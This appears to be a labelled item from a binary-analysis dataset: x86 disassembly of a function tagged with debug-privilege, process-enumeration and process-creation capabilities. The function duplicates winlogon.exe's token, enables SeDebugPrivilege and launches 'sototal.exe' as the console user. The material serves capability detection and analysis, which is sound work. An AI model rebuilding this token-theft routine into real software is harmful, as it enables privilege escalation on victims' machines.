Function at 0x4014ea
Capabilities:
Acquire debug privileges
Create process on windows
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0x134]
sub esp, 0x1b4
mov eax, dword [0x437598]
xor eax, ebp
mov dword [ebp + 0x130], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
xor esi, esi
push esi
mov edi, eax
push 2
mov dword [ebp - 0x14], edi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [ebp + 8]
push eax
push ebx
mov dword [ebp + 8], 0x128
call sub.KERNEL32.dll_Process32First
lea eax, [ebp + 0x2c]
push str.winlogon.exe
push eax
call dword [sym.imp.MSVCR90.dll__stricmp]
pop ecx
pop ecx
test eax, eax
jne 0x401562
lea eax, [ebp]
push eax
push dword [ebp + 0x10]
mov dword [ebp], esi
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x401562
cmp dword [ebp], edi
je 0x40166b
lea eax, [ebp + 8]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401530
mov ebx, dword [ebp - 0x10]
push str.Wtsapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.WTSQueryUserToken
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x10]
push ecx
push edi
call eax
push 0x44
pop edi
push edi
lea eax, [ebp - 0x80]
push esi
push eax
mov dword [ebp], 0x8000020
call sub.MSVCR90.dll_memset
push 0x10
lea eax, [ebp - 0x3c]
push esi
push eax
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x78], str.winsta0default
call sub.MSVCR90.dll_memset
add esp, 0x18
push ebx
push esi
push 0x2000000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
inc ebx
push ebx
mov dword [ebp - 8], eax
call edi
lea eax, [ebp - 0xc]
push eax
push 0x201eb
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push ebx
call edi
lea eax, [ebp - 0x1c]
push eax
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
lea eax, [ebp + 4]
push eax
push ebx
push ebx
push esi
push 0x2000000
push dword [ebp - 0xc]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x20], 2
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push 4
push dword [ebp - 0x14]
push 0xc
push dword [ebp + 4]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push esi
push esi
push 0x10
lea eax, [ebp - 0x2c]
push eax
push esi
push dword [ebp + 4]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
push dword [ebp + 4]
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], esi
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x401673
mov dword [ebp], 0x8000420
jmp 0x401676
mov ebx, dword [ebp + 0x10]
jmp 0x401573
mov dword [ebp - 4], esi
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push dword [ebp - 4]
push dword [ebp]
push esi
push esi
push esi
push str.sototal.exe_7
push esi
push dword [ebp + 4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
push dword [ebp + 4]
call esi
push dword [ebp - 0xc]
call esi
mov ecx, dword [ebp + 0x130]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00401ba6
add ebp, 0x134
leave
ret